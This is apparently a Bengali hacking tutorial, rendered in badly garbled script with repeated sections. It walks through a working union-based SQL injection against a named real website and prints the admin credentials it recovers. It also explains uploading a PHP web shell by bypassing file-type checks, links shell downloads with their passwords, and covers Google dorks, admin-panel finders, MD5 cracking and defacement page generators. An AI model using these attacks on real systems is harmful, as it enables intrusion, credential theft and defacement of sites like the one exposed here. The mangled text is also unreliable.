না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
